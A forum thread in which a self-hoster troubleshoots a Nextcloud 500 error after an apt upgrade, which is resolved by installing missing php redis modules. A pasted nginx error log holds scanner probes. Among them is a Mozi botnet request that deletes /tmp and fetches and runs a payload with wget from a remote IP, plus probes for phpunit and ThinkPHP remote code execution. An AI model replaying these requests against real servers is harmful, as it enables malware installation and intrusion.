Server is giving internal error

I have not been messing with my Nextcloud server much lately. I’ve basically been leaving it on autopilot for the past 6 or so months.

But I got on earlier this week and updated/upgraded all my apt installs etc.

And now when I visit: https://cloud.aslanfrench.work I am getting the following error:

Internal Server Error
The server encountered an internal error and was unable to complete your request.
Please contact the server administrator if this error reappears multiple times, please include the technical details below in your report.
More details can be found in the server log.

The error doesn’t look like a normal Nextcloud error like I’ve seen before but when I google the error, a bunch of nextcloud stuff comes up so I figure it probably is related.

A couple of months ago I attempted (and failed) to get an apache guacamole instance set up on this machine. I messed around with the reverse proxy settings but the NC server was functional for a good month or 2 after doing that so I don’t think that’s it. I’d even upgraded it since doing that so I don’t think this is related to that process.

Here’s my nginx error log:

2021/03/14 01:23:44 [error] 2032#2032: *7355 open() "/usr/share/nginx/html/setup.cgi" failed (2: No such file or directory), client: 178.175.5.102, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://178.175.5.102:40286/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"
2021/03/14 03:24:24 [error] 2032#2032: *7455 open() "/usr/share/nginx/html/.env" failed (2: No such file or directory), client: 52.187.43.87, server: localhost, request: "GET /.env HTTP/1.1", host: "136.49.174.165"
2021/03/14 05:32:35 [error] 2032#2032: *7518 open() "/usr/share/nginx/html/robots.txt" failed (2: No such file or directory), client: 89.190.156.31, server: localhost, request: "HEAD /robots.txt HTTP/1.0"
2021/03/14 09:28:21 [error] 2032#2032: *7620 open() "/usr/share/nginx/html/robots.txt" failed (2: No such file or directory), client: 185.142.236.40, server: localhost, request: "GET /robots.txt HTTP/1.1", host: "136.49.174.165"
2021/03/14 09:28:22 [error] 2032#2032: *7621 open() "/usr/share/nginx/html/sitemap.xml" failed (2: No such file or directory), client: 185.142.236.40, server: localhost, request: "GET /sitemap.xml HTTP/1.1", host: "136.49.174.165"
2021/03/14 09:28:23 [error] 2032#2032: *7622 open() "/usr/share/nginx/html/.well-known/security.txt" failed (2: No such file or directory), client: 185.142.236.40, server: localhost, request: "GET /.well-known/security.txt HTTP/1.1", host: "136.49.174.165"
2021/03/14 09:28:24 [error] 2032#2032: *7623 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 185.142.236.40, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "136.49.174.165"
2021/03/14 10:02:43 [error] 2032#2032: *7645 open() "/usr/share/nginx/html/api/jsonws/invoke" failed (2: No such file or directory), client: 45.155.205.225, server: localhost, request: "POST /api/jsonws/invoke HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 10:02:43 [error] 2033#2033: *7646 open() "/usr/share/nginx/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" failed (2: No such file or directory), client: 45.155.205.225, server: localhost, request: "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 10:02:43 [error] 2032#2032: *7647 open() "/usr/share/nginx/html/solr/admin/info/system" failed (2: No such file or directory), client: 45.155.205.225, server: localhost, request: "GET /solr/admin/info/system?wt=json HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 10:02:43 [error] 2032#2032: *7648 open() "/usr/share/nginx/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" failed (2: No such file or directory), client: 45.155.205.225, server: localhost, request: "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 10:02:44 [error] 2032#2032: *7649 open() "/usr/share/nginx/html/index.php" failed (2: No such file or directory), client: 45.155.205.225, server: localhost, request: "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 10:02:44 [error] 2032#2032: *7651 open() "/usr/share/nginx/html/wp-content/plugins/wp-file-manager/readme.txt" failed (2: No such file or directory), client: 45.155.205.225, server: localhost, request: "GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 10:02:44 [error] 2032#2032: *7653 "/usr/share/nginx/html/console/index.html" is not found (2: No such file or directory), client: 45.155.205.225, server: localhost, request: "GET /console/ HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 10:02:44 [error] 2032#2032: *7654 open() "/usr/share/nginx/html/_ignition/execute-solution" failed (2: No such file or directory), client: 45.155.205.225, server: localhost, request: "GET /_ignition/execute-solution HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 10:02:45 [error] 2032#2032: *7656 open() "/usr/share/nginx/html/Autodiscover/Autodiscover.xml" failed (2: No such file or directory), client: 45.155.205.225, server: localhost, request: "POST /Autodiscover/Autodiscover.xml HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 11:58:27 [error] 2032#2032: *7709 open() "/usr/share/nginx/html/config/getuser" failed (2: No such file or directory), client: 205.185.127.244, server: localhost, request: "GET /config/getuser?index=0 HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 12:58:07 [error] 2032#2032: *7731 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 122.228.19.79, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 13:46:50 [error] 2032#2032: *8170 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 127.0.0.1, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "localhost"
2021/03/14 13:54:59 [error] 2032#2032: *8298 open() "/usr/share/nginx/html/config/getuser" failed (2: No such file or directory), client: 205.185.122.102, server: localhost, request: "GET /config/getuser?index=0 HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 17:41:07 [error] 2032#2032: *11869 open() "/usr/share/nginx/html/config/getuser" failed (2: No such file or directory), client: 205.185.122.102, server: localhost, request: "GET /config/getuser?index=0 HTTP/1.1", host: "136.49.174.165:80"
2021/03/14 18:29:06 [error] 2032#2032: *12657 open() "/usr/share/nginx/html/robots.txt" failed (2: No such file or directory), client: 173.231.59.212, server: localhost, request: "GET /robots.txt HTTP/1.1", host: "howdy.jackalope.tech"
2021/03/14 18:33:26 [error] 2032#2032: *12731 stat() "/usr/share/nginx/html/robots.txt" failed (2: No such file or directory), client: 173.231.59.212, server: localhost, request: "GET /robots.txt HTTP/1.1", host: "cloud.jackalope.tech"
2021/03/14 19:03:23 [error] 2032#2032: *13213 open() "/usr/share/nginx/html/upnp/BasicDevice.xml" failed (2: No such file or directory), client: 193.138.218.224, server: localhost, request: "GET /upnp/BasicDevice.xml HTTP/1.1", host: "136.49.174.165"
2021/03/14 19:06:22 [error] 2032#2032: *13265 open() "/usr/share/nginx/html/robots.txt" failed (2: No such file or directory), client: 192.168.1.1, server: localhost, request: "GET /robots.txt HTTP/1.1", host: "136.49.174.165"
2021/03/14 19:06:23 [error] 2032#2032: *13266 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 192.168.1.1, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "136.49.174.165"
2021/03/14 19:16:30 [error] 2032#2032: *13426 open() "/usr/share/nginx/html/manager/html" failed (2: No such file or directory), client: 117.239.149.94, server: localhost, request: "GET /manager/html HTTP/1.1", host: "136.49.174.165"

Here’s a sample of the latest in the nextcloud access logs:

192.168.1.1 - aslan [14/Mar/2021:19:30:48 -0500] "PROPFIND /remote.php/dav/files/aslan/archive/resources-archive HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.018 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.012" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:30:59 -0500] "GET /ocs/v2.php/apps/notifications/api/v2/notifications?format=json HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.015 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.016" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:31:02 -0500] "GET /status.php HTTP/1.1" 500 5 "-" "Mozilla/5.0 (Linux) mirall/3.1.3-20210218.151938.3842d306f-1.0~focal1 (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.010 ua="unix:/run/php/php7.4-fpm.sock" us="500" ut="0.012" ul="19" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:31:17 -0500] "PROPFIND /remote.php/dav/files/aslan/InstantUpload HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.017 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.016" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:31:17 -0500] "PROPFIND /remote.php/dav/files/aslan/Documents HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.012 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.008" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:31:18 -0500] "PROPFIND /remote.php/dav/files/aslan/work HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.011 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.012" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:31:18 -0500] "PROPFIND /remote.php/dav/files/aslan/archive/resources-archive HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.011 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.008" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:31:34 -0500] "GET /status.php HTTP/1.1" 500 5 "-" "Mozilla/5.0 (Linux) mirall/3.1.3-20210218.151938.3842d306f-1.0~focal1 (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.015 ua="unix:/run/php/php7.4-fpm.sock" us="500" ut="0.012" ul="19" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:31:47 -0500] "PROPFIND /remote.php/dav/files/aslan/InstantUpload HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.013 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.012" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:31:48 -0500] "PROPFIND /remote.php/dav/files/aslan/Documents HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.009 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.008" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:31:48 -0500] "PROPFIND /remote.php/dav/files/aslan/work HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.013 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.012" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:31:48 -0500] "PROPFIND /remote.php/dav/files/aslan/archive/resources-archive HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.011 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.012" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:32:06 -0500] "GET /status.php HTTP/1.1" 500 5 "-" "Mozilla/5.0 (Linux) mirall/3.1.3-20210218.151938.3842d306f-1.0~focal1 (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.016 ua="unix:/run/php/php7.4-fpm.sock" us="500" ut="0.016" ul="19" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:32:17 -0500] "PROPFIND /remote.php/dav/files/aslan/InstantUpload HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.020 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.016" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:32:18 -0500] "PROPFIND /remote.php/dav/files/aslan/Documents HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.013 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.016" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:32:18 -0500] "PROPFIND /remote.php/dav/files/aslan/work HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.012 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.008" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:32:18 -0500] "PROPFIND /remote.php/dav/files/aslan/archive/resources-archive HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.010 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.012" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:32:38 -0500] "GET /status.php HTTP/1.1" 500 5 "-" "Mozilla/5.0 (Linux) mirall/3.1.3-20210218.151938.3842d306f-1.0~focal1 (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.015 ua="unix:/run/php/php7.4-fpm.sock" us="500" ut="0.012" ul="19" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:32:47 -0500] "PROPFIND /remote.php/dav/files/aslan/InstantUpload HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.017 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.016" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:32:47 -0500] "PROPFIND /remote.php/dav/files/aslan/Documents HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.012 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.008" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:32:48 -0500] "PROPFIND /remote.php/dav/files/aslan/work HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.013 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.012" ul="22" cs=-
192.168.1.1 - aslan [14/Mar/2021:19:32:48 -0500] "PROPFIND /remote.php/dav/files/aslan/archive/resources-archive HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows) mirall/3.1.3stable-Win64 (build 20210218) (Nextcloud)" "-" "cloud.aslanfrench.work" sn="cloud.aslanfrench.work" rt=0.013 ua="unix:/run/php/php7.4-fpm.sock" us="200" ut="0.008" ul="22" cs=-

The nextcloud error log is empty. The nextcloud error log 1 though says:

2021/03/13 01:52:39 [warn] 549296#549296: *310207 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/0/50/0000000500 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Pictures/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 01:52:39 [warn] 549296#549296: *310208 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/1/50/0000000501 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 03:52:44 [warn] 549295#549295: *312377 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/2/50/0000000502 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Pictures/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 03:52:44 [warn] 549295#549295: *312378 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/3/50/0000000503 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 05:52:49 [warn] 549295#549295: *314555 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/4/50/0000000504 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Pictures/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 05:52:49 [warn] 549295#549295: *314554 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/5/50/0000000505 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 07:52:54 [warn] 549295#549295: *316718 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/6/50/0000000506 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Pictures/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 07:52:54 [warn] 549295#549295: *316717 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/7/50/0000000507 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 09:52:59 [warn] 549295#549295: *318897 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/8/50/0000000508 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Pictures/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 09:52:59 [warn] 549295#549295: *318898 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/9/50/0000000509 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 11:53:04 [warn] 549295#549295: *321054 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/0/51/0000000510 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Pictures/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 11:53:04 [warn] 549295#549295: *321055 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/1/51/0000000511 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 13:53:09 [warn] 549295#549295: *323207 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/2/51/0000000512 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Pictures/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"
2021/03/13 13:53:09 [warn] 549296#549296: *323199 an upstream response is buffered to a temporary file /var/cache/nginx/fastcgi_temp/3/51/0000000513 while reading upstream, client: 192.168.1.1, server: cloud.aslanfrench.work, request: "GET /remote.php/dav/files/aslan/InstantUpload/Slack/IMG_20200817_155920.jpg HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "cloud.aslanfrench.work"

I began having this problem today the 14 and those errors are from the 13th, though they may still be related.

Here is my config.php

<?php
$CONFIG = array (
  'passwordsalt' => 'redacted',
  'secret' => 'redacted',
  'trusted_domains' => 
  array (
    0 => 'cloud.aslanfrench.work',
  ),
  'datadirectory' => '/var/nc-data',
  'dbtype' => 'pgsql',
  'version' => '19.0.6.2',
  'overwrite.cli.url' => 'https://cloud.aslanfrench.work',
  'dbname' => 'nextcloud',
  'dbhost' => 'localhost',
  'dbport' => '',
  'dbtableprefix' => 'oc_',
  'dbuser' => 'nextcloud',
  'dbpassword' => 'redacted',
  'installed' => true,
  'instanceid' => 'occ902x1gtuw',
  'redis' => 
  array (
    'host' => '/var/run/redis/redis.sock',
    'port' => 0,
    'timeout' => 0,
    'password' => 'redacted',
  ),
  'memcache.local' => '\\OC\\Memcache\\Redis',
  'memcache.locking' => '\\OC\\Memcache\\Redis',
  'filelocking.enabled' => true,
  'enable_previews' => true,
  'enabledPreviewProviders' => 
  array (
    0 => 'OC\\Preview\\PNG',
    1 => 'OC\\Preview\\JPEG',
    2 => 'OC\\Preview\\GIF',
    3 => 'OC\\Preview\\BMP',
    4 => 'OC\\Preview\\XBitmap',
    5 => 'OC\\Preview\\MarkDown',
    6 => 'OC\\Preview\\MP3',
    7 => 'OC\\Preview\\TXT',
    8 => 'OC\\Preview\\Illustrator',
    9 => 'OC\\Preview\\Movie',
    10 => 'OC\\Preview\\MSOffice2003',
    11 => 'OC\\Preview\\MSOffice2007',
    12 => 'OC\\Preview\\MSOfficeDoc',
    13 => 'OC\\Preview\\OpenDocument',
    14 => 'OC\\Preview\\PDF',
    15 => 'OC\\Preview\\Photoshop',
    16 => 'OC\\Preview\\Postscript',
    17 => 'OC\\Preview\\StarOffice',
    18 => 'OC\\Preview\\SVG',
    19 => 'OC\\Preview\\TIFF',
    20 => 'OC\\Preview\\Font',
  ),
  'preview_max_x' => 1024,
  'preview_max_y' => 768,
  'preview_max_scale_facto' => 1,
  'auth.bruteforce.protection.enabled' => true,
  'trashbin_retention_obligation' => 'auto,7',
  'skeletondirectory' => '',
  'defaultapp' => 'file',
  'activity_expire_days' => 14,
  'integrity.check.disabled' => false,
  'updater.release.channel' => 'stable',
  'loglevel' => 1,
  'maintenance' => false,
  'theme' => '',
);


Other details:

I did notice that when I did the apt update and upgrade I saw some text flash about php8. IDK what’s up with that. I know (at least I believe) that NC uses PHP7, so maybe I accidentally upgraded to the wrong php version and that borked it?

I’ve tried searching the forum on this, but there’s a lot of people who have had this error code, but for lots of different reasons and I don’t want to further mess up my installation by accident.

Any other things I can share to help troubleshoot this, please let me know. Thank you.

You’re most likely right with your assumption that PHP is causing that problem, because that is a well-known root cause for such a problem. Check the content of the nextcloud.log file to find more detailed information what Nextcloud prevents from starting.

That isn’t really a problem, because as an adminsitrator you’re creating regular backups of your system to prevent such problems, right? :wink:

maybe you have a similar problem.
look here:

I shared my nextcloud logs in my original post. Is there anything there that seems to confirm this theory?

Unfortunately not. I’m just a hobbyist running this on on a computer stashed away in my closet.

Yup that looks familiar. I will try that. thank you

I tried running the check on the php stuff installed per your post and this is what I got:

└─➤ dpkg --get-selections | grep -i php
php-apcu                                        install
php-apcu-bc                                     install
php-common                                      install
php-igbinary                                    install
php-imagick                                     install
php-pear                                        install
php-redis                                       install
php-smbclient                                   install
php5.6-apcu                                     deinstall
php5.6-common                                   install
php5.6-igbinary                                 install
php5.6-imagick                                  deinstall
php5.6-redis                                    deinstall
php5.6-smbclient                                deinstall
php7.0-apcu                                     install
php7.0-apcu-bc                                  install
php7.0-common                                   install
php7.0-igbinary                                 install
php7.0-imagick                                  deinstall
php7.0-redis                                    deinstall
php7.0-smbclient                                deinstall
php7.1-apcu                                     install
php7.1-apcu-bc                                  install
php7.1-common                                   install
php7.1-igbinary                                 install
php7.1-imagick                                  deinstall
php7.1-redis                                    deinstall
php7.1-smbclient                                deinstall
php7.2-apcu                                     install
php7.2-apcu-bc                                  install
php7.2-common                                   install
php7.2-igbinary                                 install
php7.2-imagick                                  deinstall
php7.2-redis                                    deinstall
php7.2-smbclient                                deinstall
php7.3-apcu                                     install
php7.3-apcu-bc                                  install
php7.3-common                                   install
php7.3-igbinary                                 install
php7.3-imagick                                  deinstall
php7.3-redis                                    deinstall
php7.3-smbclient                                deinstall
php7.4                                          install
php7.4-apcu                                     install
php7.4-apcu-bc                                  install
php7.4-bcmath                                   install
php7.4-bz2                                      install
php7.4-cli                                      install
php7.4-common                                   install
php7.4-curl                                     install
php7.4-fpm                                      install
php7.4-gd                                       install
php7.4-gmp                                      install
php7.4-igbinary                                 install
php7.4-imagick                                  deinstall
php7.4-intl                                     install
php7.4-json                                     install
php7.4-mbstring                                 install
php7.4-opcache                                  install
php7.4-pgsql                                    install
php7.4-readline                                 install
php7.4-redis                                    deinstall
php7.4-smbclient                                deinstall
php7.4-xml                                      install
php7.4-zip                                      install
php8.0-apcu                                     install
php8.0-common                                   install
php8.0-igbinary                                 install
php8.0-imagick                                  install
php8.0-redis                                    install
php8.0-smbclient                                install

Doesn’t look like anything is missing for me. So I’m still not sure what the issue is here.

Does anybody have an idea?

i don´t know which php version your nextcloud is using but 7.3 and 7.4 redis modules are not installed on your system… try to install them one at a time…reboot or restart services and then it should work

1 Like

Bingo! That worked!

Also just for reference for anyone coming across this thread in the future, to install a php extension you just have to do a normal apt install. Pretty straightforward apt install php7.3-redis